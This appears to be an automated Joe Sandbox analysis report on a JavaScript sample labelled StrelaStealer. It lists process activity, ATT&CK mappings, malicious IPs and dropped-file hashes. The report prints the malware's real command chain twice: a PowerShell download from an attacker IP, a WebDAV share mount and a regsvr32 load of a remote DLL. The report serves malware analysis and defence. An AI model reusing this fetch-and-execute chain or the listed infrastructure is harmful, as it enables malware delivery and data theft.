Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\129092394429212.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\129092394429212.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
29112223682907312977.js	13%	Virustotal		Browse
29112223682907312977.js	11%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/Vou	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205:8888/Vou	net.exe, 00000006.00000003.1757444779.000001A50E42D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1759446388.000001A50E42D000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/Prod.C:	edb.log.8.dr	false		high
http://crl.ver)	svchost.exe, 00000008.00000002.2994824181.00000268B3A00000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.7.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	edb.log.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2	edb.log.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96	svchost.exe, 00000008.00000003.1760026715.00000268B3CC2000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000006.00000002.1759378448.000001A50E3F8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1759446388.000001A50E42D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	svchost.exe, 00000008.00000003.1760026715.00000268B3CC2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1589862
Start date and time:	2025-01-13 09:05:08 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 11s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	29112223682907312977.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/41@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 2.19.126.149, 2.19.126.143, 52.22.41.97, 3.219.243.226, 3.233.129.217, 52.6.155.20, 172.64.41.3, 162.159.61.3, 184.28.90.27, 199.232.210.172, 2.23.197.184, 2.22.242.11, 2.22.242.123, 2.16.168.107, 2.16.168.105, 20.12.23.50, 104.77.220.172, 13.107.253.45
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com.delivery.microsoft.com, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, a122.dscd.akamai.net, e16604.g.akamaiedge.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
03:06:02	API Interceptor	21x Sleep call for process: powershell.exe modified
03:06:06	API Interceptor	1x Sleep call for process: net.exe modified
03:06:07	API Interceptor	2x Sleep call for process: svchost.exe modified
03:06:19	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	179861427815317256.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	16910148382611315301.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	281388015101323984.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	305861283730376077.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	155442583088718889.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	14444181562539231561.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	19165129872063820912.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	733422181158883785.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2836992752554325080.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1274320496157183071.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	179861427815317256.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	16910148382611315301.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	tesr.exe	Get hash	malicious	LummaC Stealer	Browse	199.232.214.172
	https://link.mail.beehiiv.com/ss/c/u001.dSnm3kaGd0BkNqLYPjeMfxWXllAYaBQ5sAn4OVD0j89GQGPZtwQlLugE_8c0wQMKfkpy5_wJ66BvE1Ognfzf5MlQMAeZ1qYs5mgwUBu3TAc6279Q43ISHz-HkVRC08yeDA4QvKWsqLTI1us9a0eXx18qeAibsZhjMMPvES-iG2zoVABKcwKIVWyx95VTVcFMSh6AEN3OCUfP_rXFvjKRbIPMuhn_dqYr8yUBKJvhhlJR9FhTpZPAULxzMbsYWp8k/4cu/JfECY1HwRl-ipvrNOktVcw/h23/h001.ibQl2N4tDD79TTzErix_sFWEGLTTuM6dTVMrTg3y5Dk	Get hash	malicious	Unknown	Browse	199.232.214.172
	https://mrohailkhan.com/energyaustralia/auth/auhs1/	Get hash	malicious	Unknown	Browse	199.232.214.172
	PCB - Lyell Highway Upgrades Queenstown to Strahan - March 2021.XLSM	Get hash	malicious	Unknown	Browse	199.232.210.172
	http://satelite.nv-ec.com/aU3V88/c1.php	Get hash	malicious	Unknown	Browse	199.232.210.172
	https://support.te-wt.com/aU3V88/c1.php	Get hash	malicious	Unknown	Browse	199.232.214.172
	https://www.flndmy.er-xu.com/aU3V88/c1.php	Get hash	malicious	Unknown	Browse	199.232.210.172
	https://www.support.ue-vt.com/aU3V88/c1.php	Get hash	malicious	Unknown	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	1178918864369817238.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	179861427815317256.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	16910148382611315301.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	byte.mips.elf	Get hash	malicious	Mirai, Okiru	Browse	193.143.1.66
	byte.x86.elf	Get hash	malicious	Mirai, Okiru	Browse	193.143.1.66
	byte.arm5.elf	Get hash	malicious	Mirai, Okiru	Browse	193.143.1.66
	byte.mpsl.elf	Get hash	malicious	Mirai, Okiru	Browse	193.143.1.66
	byte.sh4.elf	Get hash	malicious	Mirai, Okiru	Browse	193.143.1.66
	byte.arm7.elf	Get hash	malicious	Mirai, Okiru	Browse	193.143.1.66
	byte.arm.elf	Get hash	malicious	Mirai, Okiru	Browse	193.143.1.66

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	1.3073238940003817
Encrypted:	false
SSDEEP:	3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvrG:KooCEYhgYEL0In
MD5:	80411874ADC553B35E184A876EC6618D
SHA1:	3ACC9EA4FDAC96A58C5A32295BF75C275F52C0D4
SHA-256:	6F57646953AF505F39361D69DE62076D2C9B608C40BEA29B282344023A5F21B7
SHA-512:	E8C54D2D68E4C8C842E0582DAE0EBA5BAB5B672BB3CF3784045BEED979AAF9D757BF1AC150DAEECBA4F0F4AD075C8536370264B418E6A67AD95F4036DD426BFD
Malicious:	false
Preview:	z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xbb2faad5, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.4221046394664837
Encrypted:	false
SSDEEP:	1536:JSB2ESB2SSjlK/dvmdMrSU0OrsJzvdYkr3g16T2UPkLk+kTX/Iw4KKCzAkUk1kI6:Jaza/vMUM2Uvz7DO
MD5:	39FD20C95C315E0C75C137C75D38E8B9
SHA1:	C1561B186BE48BC524410383FFC750578DF0FCFE
SHA-256:	318AF16B608E07346C1189EF8EF06CC21BC3B16377DB818514273CEE8471EE5A
SHA-512:	9331A2330B17D3D44FB25801362827D81EE4F7D82647A92616514666C083C7BDC305ED1E1395787BDD3C1D9E9A650FA94999E6960679CFECACFF51D0874B1E22
Malicious:	false
Preview:	./..... .......A.......X\...;...{......................0.!..........{A......}..h.#.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........;...{...............................................................................................................................................................................................2...{..................................8a.W.....}..........................}...........................#......h.#.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07529435151178696
Encrypted:	false
SSDEEP:	3:XJ/lKYeaLYqauhajn13a/nO3aRq/llAllcVO/lnlZMxZNQl:zKzHua53qulAOewk
MD5:	96F24624232F9E68481CCF4C5446B040
SHA1:	04D5B1B2178B37FECAAF6DCB3860CE14620C36CA
SHA-256:	BCCE00941BBD5A4DE3BF88FC5380002558E376974149EBE3A1AFADA3A57F9D4D
SHA-512:	7BCE23B9E6A6FA121F4E500A060FFBE2A30DE5F75D6BABDC640CFBF879FC2F88B4F5CA7AD08641ABC1B63C77E4307A34245E3F3FCCDE0BF461A97C472F4AECC0
Malicious:	false
Preview:	..%......................................;...{.......}.......{A..............{A......{A..........{A]........................}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.1628836209280005
Encrypted:	false
SSDEEP:	6:iOnVI4n+q2Pwkn2nKuAl9OmbnIFUtdVIfEWZmwzVIfzVkwOwkn2nKuAl9OmbjLJ:7VIK+vYfHAahFUtXI8W/5IbV5JfHAaSJ
MD5:	F51C0FE28E3B36DD8886E3D9C21C5D11
SHA1:	E74B965DDCB1DD75C80F0BB688B54A51DEE1BF8C
SHA-256:	11C2AE7748F45949E08CB7773EE6D35D137F1A079D3C4D6B94FB5C7C92597C5B
SHA-512:	30A5389D1F29833D0710732ECC2EF61014BE60C4001E972305A46C22E3BE090C4A73014574F17492D0EB513895D0B835FB915375810C4D8C9624EAC400B0DBE6
Malicious:	false
Preview:	2025/01/13-03:06:06.324 1fec Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/13-03:06:06.327 1fec Recovering log #3.2025/01/13-03:06:06.327 1fec Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.1628836209280005
Encrypted:	false
SSDEEP:	6:iOnVI4n+q2Pwkn2nKuAl9OmbnIFUtdVIfEWZmwzVIfzVkwOwkn2nKuAl9OmbjLJ:7VIK+vYfHAahFUtXI8W/5IbV5JfHAaSJ
MD5:	F51C0FE28E3B36DD8886E3D9C21C5D11
SHA1:	E74B965DDCB1DD75C80F0BB688B54A51DEE1BF8C
SHA-256:	11C2AE7748F45949E08CB7773EE6D35D137F1A079D3C4D6B94FB5C7C92597C5B
SHA-512:	30A5389D1F29833D0710732ECC2EF61014BE60C4001E972305A46C22E3BE090C4A73014574F17492D0EB513895D0B835FB915375810C4D8C9624EAC400B0DBE6
Malicious:	false
Preview:	2025/01/13-03:06:06.324 1fec Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/13-03:06:06.327 1fec Recovering log #3.2025/01/13-03:06:06.327 1fec Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.172884673482557
Encrypted:	false
SSDEEP:	6:iOnVsQ+q2Pwkn2nKuAl9Ombzo2jMGIFUtdVsi/ZmwzVsTZNVkwOwkn2nKuAl9OmT:7V6vYfHAa8uFUtXd/5y55JfHAa8RJ
MD5:	3546FAD099B10A6A9625ED5A257364FB
SHA1:	760A2135076A929543C4CE36469DB4C0CE19B8A5
SHA-256:	95FDA3C53CF12191FAA7F1678DC3B2AD51B4FA6967D02628FA6C401AB868000E
SHA-512:	CEF874FC2BB207EC82DE9B1E7B822E5509921684E0DC2E1053D8EAABF2282409FB7BCFE22FB41AC84C2570713E0CB90329CFDFAA61BC91585E8DCAB663CCC759
Malicious:	false
Preview:	2025/01/13-03:06:06.413 1188 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/13-03:06:06.415 1188 Recovering log #3.2025/01/13-03:06:06.416 1188 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.172884673482557
Encrypted:	false
SSDEEP:	6:iOnVsQ+q2Pwkn2nKuAl9Ombzo2jMGIFUtdVsi/ZmwzVsTZNVkwOwkn2nKuAl9OmT:7V6vYfHAa8uFUtXd/5y55JfHAa8RJ
MD5:	3546FAD099B10A6A9625ED5A257364FB
SHA1:	760A2135076A929543C4CE36469DB4C0CE19B8A5
SHA-256:	95FDA3C53CF12191FAA7F1678DC3B2AD51B4FA6967D02628FA6C401AB868000E
SHA-512:	CEF874FC2BB207EC82DE9B1E7B822E5509921684E0DC2E1053D8EAABF2282409FB7BCFE22FB41AC84C2570713E0CB90329CFDFAA61BC91585E8DCAB663CCC759
Malicious:	false
Preview:	2025/01/13-03:06:06.413 1188 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/13-03:06:06.415 1188 Recovering log #3.2025/01/13-03:06:06.416 1188 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\304982f2-fb95-4061-82a3-9ab461ce363c.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.960572042101188
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqDcpVSsBdOg2H5YZcaq3QYiubInP7E4T3y:Y2sRdsAcpVXdMHGg3QYhbG7nby
MD5:	6E17ED0E2A8D2A23FA1DEFCDA16DD457
SHA1:	D440C0AE9124C3F8BDC1D08AA9A0E996BB844602
SHA-256:	AB7E283C44D9E5FDCFFA29E61161BC3C12544284EE93CAB202FC21A38F2AEA51
SHA-512:	4DFE4AAE9B5C77A7294857D0255CD8BF802261834AEBC5AA9D1A28E33F5F77CEB2BFF9150E576A5D13CC3C1E0C0F10A080FDC7437C6300947B6717BABF5DD295
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381315578996253","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":192992},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.960572042101188
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqDcpVSsBdOg2H5YZcaq3QYiubInP7E4T3y:Y2sRdsAcpVXdMHGg3QYhbG7nby
MD5:	6E17ED0E2A8D2A23FA1DEFCDA16DD457
SHA1:	D440C0AE9124C3F8BDC1D08AA9A0E996BB844602
SHA-256:	AB7E283C44D9E5FDCFFA29E61161BC3C12544284EE93CAB202FC21A38F2AEA51
SHA-512:	4DFE4AAE9B5C77A7294857D0255CD8BF802261834AEBC5AA9D1A28E33F5F77CEB2BFF9150E576A5D13CC3C1E0C0F10A080FDC7437C6300947B6717BABF5DD295
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381315578996253","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":192992},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4320
Entropy (8bit):	5.258126830703791
Encrypted:	false
SSDEEP:	96:etJCV4FAsszrNamjTN/2rjYMta02fDtehgO7BtTgo7+JIzdfo:etJCV4FiN/jTN/2r8Mta02fEhgO73go0
MD5:	87DE4EA32BEE7E9EF6CFDC325750E069
SHA1:	CEF04E732048F0BDB9CA272E8BCF4B44E74CF9A2
SHA-256:	C48752B80E88181B329EEC74D2AE2F83D9AFF1503957D9824B9CD1983D8AA7D1
SHA-512:	3C45BF6052DD186E6C6F2768D60559A03E1DDCE337ABBF95C7CB0B5DE85531A2B2502A4D493A0FD6A080EE4809495E145A8C17E85BEDAE5BDF9E5ECBD59C2C15
Malicious:	false
Preview:	*...#................version.1..namespace-['O.o................next-map-id.1.Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/.0>...r................next-map-id.2.Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/.1O..r................next-map-id.3.Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/.2.\.o................next-map-id.4.Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/.3....^...............Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/..\|.^...............Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/n..Fa...............Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/DQ..a...............Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/i.`do................next-map-id.5.Pnamespace-de635bf2_6773_4d83_ad16_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.177633583771845
Encrypted:	false
SSDEEP:	6:iOnVMgN/+q2Pwkn2nKuAl9OmbzNMxIFUtdVMtZmwzVMGlVkwOwkn2nKuAl9OmbzE:7VMgwvYfHAa8jFUtXMt/5MU5JfHAa84J
MD5:	A84948BAEB8317FEA2BF0EDEDABD2708
SHA1:	4FAA39AD2A29270C643707FA320FD6FCD2F0F0D3
SHA-256:	C2EF051342F406AD62C04E52A0760BC1D881163126B2DB22004A4D554466464D
SHA-512:	5D80133E44FF1B65044939D6917E1CB3174C43AA460F3D423945A176E0C04EE372B27BF1903FABBD7D33716D7CBD19DA9D2CE9318C40F14EBBD394B7698212BF
Malicious:	false
Preview:	2025/01/13-03:06:06.750 1188 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/13-03:06:06.751 1188 Recovering log #3.2025/01/13-03:06:06.752 1188 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.177633583771845
Encrypted:	false
SSDEEP:	6:iOnVMgN/+q2Pwkn2nKuAl9OmbzNMxIFUtdVMtZmwzVMGlVkwOwkn2nKuAl9OmbzE:7VMgwvYfHAa8jFUtXMt/5MU5JfHAa84J
MD5:	A84948BAEB8317FEA2BF0EDEDABD2708
SHA1:	4FAA39AD2A29270C643707FA320FD6FCD2F0F0D3
SHA-256:	C2EF051342F406AD62C04E52A0760BC1D881163126B2DB22004A4D554466464D
SHA-512:	5D80133E44FF1B65044939D6917E1CB3174C43AA460F3D423945A176E0C04EE372B27BF1903FABBD7D33716D7CBD19DA9D2CE9318C40F14EBBD394B7698212BF
Malicious:	false
Preview:	2025/01/13-03:06:06.750 1188 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/13-03:06:06.751 1188 Recovering log #3.2025/01/13-03:06:06.752 1188 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 15, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 15
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.444964508229468
Encrypted:	false
SSDEEP:	384:yezci5teiBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:rxs3OazzU89UTTgUL
MD5:	AE174845C616B5ED7F31EEBEDB26A5EF
SHA1:	DDC8EDE222B91667A3A99C7DFC79CC2337788A64
